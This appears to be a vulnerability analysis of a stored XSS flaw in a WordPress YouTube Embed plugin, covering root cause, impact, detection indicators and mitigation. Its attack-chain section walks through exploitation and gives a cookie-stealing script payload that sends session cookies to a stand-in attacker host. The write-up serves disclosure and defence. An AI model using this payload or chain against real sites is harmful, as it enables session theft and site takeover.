CVE-2026-88793: 
WordPress Analisi e mitigazione delle vulnerabilità

CVE-2026-88793 is an unauthenticated stored cross-site scripting (XSS) vulnerability in the YouTube Embed WordPress plugin (also known as youram-youtube-embed), affecting versions 10.0 through 10.3. The flaw allows unauthenticated attackers to inject and store arbitrary web scripts that execute in the browser session of any user — including administrators — who views the affected content. It was publicly disclosed on September 10, 2026, and published to the NVD on September 13, 2026. The CVE status is listed as "Deferred" and carries a CVSS v3.1 base score of 8.8 (High) (WPScan, GitHub Advisory).

The root cause is a combination of missing authorization and missing output escaping, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin exposes an AJAX action that performs no server-side authorization check, relying solely on a nonce that is printed on every front-end page — making it accessible to any unauthenticated visitor who can read the page source. Attacker-supplied data submitted via the youram_server parameter is stored without sanitization and later rendered without escaping, enabling persistent script injection. The original researcher credited is Adem0n__ (WPScan, GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to persistently store malicious JavaScript that executes in the browser context of any site visitor, including administrators. This can lead to session token theft, account takeover (including full WordPress admin compromise), unauthorized content modification, credential harvesting, and potential installation of backdoors or malicious plugins if an administrator's session is hijacked. The scope of impact extends to all users of the affected WordPress site, with the highest risk being complete site compromise via administrator account takeover (WPScan, GitHub Advisory).

No public proof-of-concept (PoC) exploit code is currently available; WPScan has indicated the PoC will be disclosed on October 1, 2026, to allow time for remediation. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.276%, placing it in the 20th percentile for exploitation likelihood within 30 days. Exploitation does not require authentication, but does require a victim user to view the affected page (user interaction required) (WPScan, GitHub Advisory).

1. Reconnaissance: Identify WordPress sites using the youram-youtube-embed plugin versions 10.0–10.3 by inspecting page source for plugin-specific assets or using tools like WPScan.
2. Retrieve nonce: Load any front-end page of the target WordPress site and extract the nonce value printed by the plugin in the page HTML (e.g., via JavaScript variable or hidden field).
3. Craft malicious AJAX request: Send an unauthenticated HTTP POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) targeting the vulnerable action (related to youram_server), including the extracted nonce and a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Payload stored: The server accepts and stores the unsanitized payload without authorization checks.
5. Trigger execution: Wait for a victim user (ideally an administrator) to view the page containing the affected content, causing the stored script to execute in their browser session.
6. Achieve objective: Harvest the administrator's session cookie or WordPress nonce to perform authenticated actions, such as creating a rogue admin account, installing a malicious plugin, or exfiltrating data (WPScan).

• Network: Unusual unauthenticated POST requests to /wp-admin/admin-ajax.php with action parameters associated with youram_server; outbound requests from victim browsers to unknown external domains (potential cookie/session exfiltration endpoints).
• Logs: WordPress or web server access logs showing repeated POST requests to admin-ajax.php from unauthenticated sources with suspicious payloads; error logs indicating unexpected script content in plugin data fields.
• File System: Unexpected modifications to plugin data or WordPress database entries containing <script> tags or encoded JavaScript in fields associated with the YouTube Embed plugin.
• Database: WordPress wp_options or related tables containing stored entries with JavaScript payloads (e.g., <script>, onerror=, javascript:) in plugin-managed fields.
• Process/Browser: Administrator sessions performing unexpected privileged actions (new admin user creation, plugin installation) shortly after viewing plugin-rendered content (WPScan).

No fixed version exists — the youram-youtube-embed plugin was closed on WordPress.org on July 25, 2025, due to a security issue, and the vendor has not released a patched version. Affected sites must remove the plugin entirely rather than update it. As interim measures: disable the plugin immediately if removal is not instantaneous, deploy a Web Application Firewall (WAF) to filter malicious script payloads targeting the AJAX endpoint, and audit stored plugin data in the WordPress database for injected scripts. Monitor administrator account activity for unauthorized changes (WPScan, GitHub Advisory).

The vulnerability was noted in community security feeds including a Reddit post in the r/pwnhub community as part of a CVE daily brief on September 14, 2026, and was mentioned on Mastodon via @thehackerwire. Aggregator platforms including VulDB, CVEFeed, and CIRCL also indexed the vulnerability shortly after disclosure. No major vendor statements or notable researcher commentary beyond the original discoverer (Adem0n__) have been identified (WPScan).